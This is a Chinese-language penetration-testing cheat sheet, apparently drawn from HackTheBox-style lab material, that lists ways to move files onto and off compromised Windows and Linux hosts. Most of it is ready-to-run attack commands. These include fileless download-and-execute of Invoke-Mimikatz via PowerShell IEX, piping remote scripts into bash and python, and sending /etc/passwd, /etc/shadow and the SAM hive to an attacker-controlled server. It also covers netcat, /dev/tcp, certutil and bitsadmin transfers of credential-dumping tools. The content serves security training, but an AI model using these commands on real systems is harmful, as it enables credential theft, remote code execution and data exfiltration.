文件传输
一、Windows 文件传输
必看原文 短一截
1. Powershell Base64 编码和解码
# 在传输文件后,我们需要检查文件上传是否正确, 我们可以使用 MD5 查看
md5sum id_rsa
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# 将文件进行编码后传输
cat id_rsa |base64 -w 0;echo
[IO.File]::WriteAllBytes("Target Location", [Convert]::FromBase64String("BASE64 String"))
2. Powershell 网络下载
# 文件下载
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
# 无文件方法
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
# 文件下载
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
3. SMB 下载
# 使用 Impacket 中的smbserver.py 创建 SMB 服务器
sudo impacket-smbserver share -smb2support /tmp -user test -password test
# 从 SMB 服务器复制文件
copy \\192.168.220.133\share\nc.exe
# 移动文件
move sam.save \\192.168.220.133\
# 使用用户名和密码挂载 SMB 服务器
net use n: \\192.168.220.133\share /user:test test
4. FTP 下载
# 使用 Python3 pyftpdlib模块 创建 FTP 服务器
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
# 使用 Powershell 下载
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')
# 使用 FTP 客户端下载
5. Powershell 上传
# 第一种方法,设置上传服务器,然后在目标机执行上传命令
# 配置 uploadserver
pip3 install uploadserver
python3 -m uploadserver
# 使用 Powershell 上传文件到服务器上
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
# 第二种方法: 使用网页上传,在本机监听
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
nc -lvnp 8000
6. SMB 上传
企业中通常不会让 SMB 协议离开其内部网络,这时候我们可以使用 WebDav , WebDav 是 HTTP 的扩展,HTTP 是 Web 浏览器和 Web 服务器用来相互通信的 Internet 协议。该
WebDAV
协议使网络服务器能够像文件服务器一样运行,支持协作内容创作。WebDAV
也可以使用 HTTPS。当您使用
SMB
时,它将首先尝试使用 SMB 协议进行连接,如果没有可用的 SMB 共享,它将尝试使用 HTTP 进行连接。
# 配置 WebDAV 服务器,需要安装 wsgidav、cheroot
sudo pip install wsgidav cheroo
# 使用 WebDav Python 模块
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# 连接到 WebDAV 共享
dir \\192.168.49.128\DavWWWRoot
# 上传文件
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
# 攻击主机上 使用 Impacket 中的smbserver.py 创建 SMB 服务器
sudo impacket-smbserver share -smb2support /tmp
# 移动文件
move sam.save \\<攻击主机 IP>\tmp
注意: DavWWWRoot是 Windows Shell 识别的特殊关键字。您的 WebDAV 服务器上不存在这样的文件夹。DavWWWRoot 关键字告诉 Mini-Redirector 驱动程序,该驱动程序处理您连接到 WebDAV 服务器根目录的 WebDAV 请求。如果您在连接到服务器时指定服务器上存在的文件夹,则可以避免使用此关键字。例如:\192.168.49.128\sharefolder
7. FTP 上传
# 设置 FTP 服务器
# --write允许客户端将文件上传到我们的攻击主机
sudo python3 -m pyftpdlib --port 21 --write
# Powershell 上传
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
二、Linux 文件传输
1. Base64 编码解码
# 检查哈希
md5sum id_rsa
cat id_rsa |base64 -w 0;echo
echo -n 'Base64字符串' | base64 -d > id_rsa
2. Wget & CURL 进行 WEB 下载
# wget 下载文件
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
# CURL 下载文件
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
3. Linux 的无文件攻击
# 使用 CURl
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
# 使用 wget
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
4. 使用 Bash (/dev/tcp) 下载
# 连接到目标 WEB 服务器
exec 3<>/dev/tcp/10.10.10.32/80
# HTTP GET 请求
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
# 打印响应
cat <&3
5. SSH 下载
详见 SSH 服务篇 --> 跳转链接
6. 网页上传
# 创建自签名证书
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# 启动 WEB 服务器
python3 -m uploadserver 443 --server-certificate /root/server.pem
# 上传多个文件
# --insecure 是因为我们使用了我们信任的自签名证书
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
7. 各种 WEB 服务器
# Python3
python3 -m http.server
# Python2.7
python2.7 -m SimpleHTTPServer
# PHP 创建 Web 服务器
php -S 0.0.0.0:8000
# Ruby 创建 Web 服务器
ruby -run -ehttpd . -p8000
三、使用代码传输文件
1. 下载
# Python2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# PHP 使用 File_get_contents() 下载
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
# Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
# Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
# JavaScript
# 创建 wget.js 文件 内容如下:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# 使用 JavaScript 和 cscript.exe 下载文件
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
# VBScript
# 创建 wget.vbs 文件 内容如下
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
# 使用 JavaScript 和 cscript.exe 下载文件
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
2. 上传
# 启动 Python 上传服务器模块
python3 -m uploadserver
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
四、其他文件传输方法
1. Netcat
Netcat(通常缩写为
nc
)是一种计算机网络实用程序,用于使用 TCP 或 UDP 读取和写入网络连接
攻击主机连接目标主机
# 目标主机 netcat -l -p 8000 > SharpKatz.exe # 攻击主机 netcat -q 0 192.168.49.128 8000 < SharpKatz.exe # 目标主机 ncat -l -p 8000 --recv-only > SharpKatz.exe # 攻击主机 ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
目标主机连接攻击主机
# 攻击主机--将文件作为输入发送到 Netcat sudo nc -l -p 443 -q 0 < SharpKatz.exe # 目标主机 nc 192.168.49.128 443 > SharpKatz.exe # 攻击主机 - 将文件作为输入发送到 Ncat sudo ncat -l -p 443 --send-only < SharpKatz.exe # 受感染机器连接到 Ncat 以接收文件 ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
如果目标主机没有 Netcat 和 Ncat 我们可以使用 /dev/TCP 进行传输
# 攻击主机--将文件作为输入发送到 Netcat sudo nc -l -p 443 -q 0 < SharpKatz.exe sudo ncat -l -p 443 --send-only < SharpKatz.exe # 接收文件 cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
2. Powershell 会话文件传输
我们可以使用 Powershell Remoting (又称 WinRM) 来执行文件传输操作
Powershell Remoting 允许我们使用 Powershell 会话在远程计算机上执行脚本或命令。默认情况下,启用 PowerShell 远程处理会同时创建 HTTP 和 HTTPS 侦听器。侦听器在 HTTP 的默认端口 TCP/5985 和 HTTPS 的 TCP/5986 上运行。
# 需要管理员权限
# 确认 WinRM 端口 TCP 5985 在 DATABASE01 上打开
Test-NetConnection -ComputerName DATABASE01 -Port 5985
# 创建到 DATABASE01 的 PowerShell 的远程会话
$Session = New-PSSession -ComputerName DATABASE01
# 将 samplefile.txt 从我们的本地主机复制到 DATABASE01 会话
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
# 将 DATABASE.txt 从 DATABASE01 Session 复制到我们的 Localhost
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
3. RDP
# 使用 rdesktop 挂载 Linux 文件夹
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
# 使用 xfreerdp 挂载 Linux 文件夹
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
五、受保护的文件传输
1. Windows 文件加密
使用 Invoke-AESEncryption.ps1 PowerShell 脚本
# 导入模块调用
Import-Module .\Invoke-AESEncryption.ps1
# 文件加密示例
Invoke-AESEncryption.ps1 -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
2. Linux 文件加密
# 使用 openssl 加密 /etc/passwd
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
# 使用 openssl 解密 passwd.enc
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
六、通过 HTTP/S 捕获文件
1. Nginx
# 创建一个目录来处理上传的文件
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
# 将所有者更改为 www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
# 创建 Nginx 配置文件 /etc/nginx/sites-available/upload.conf
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
# 将我们的站点符号链接到启用站点的目录
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# 启动 Nginx
sudo systemctl restart nginx.service
# 使用 CURL 上传文件
curl -T /etc/passwd
http://localhost:9001/SecretUploadDirectory/users.txt
七、依赖本地
1. Bitsadmin 下载功能
后台智能传输服务 (BITS)可用于从 HTTP 站点和 SMB 共享下载文件。它“智能地”检查主机和网络利用率,以尽量减少对用户前台工作的影响。
# 使用 Bitsadmin 下载文件
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
# 下载
Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"
# 上传
Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
2. Certutil
Certutil 可用于下载任意文件。它适用于所有 Windows 版本,并且一直是一种流行的文件传输技术
# 使用 Certutil 下载文件
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
最后更新于
这有帮助吗?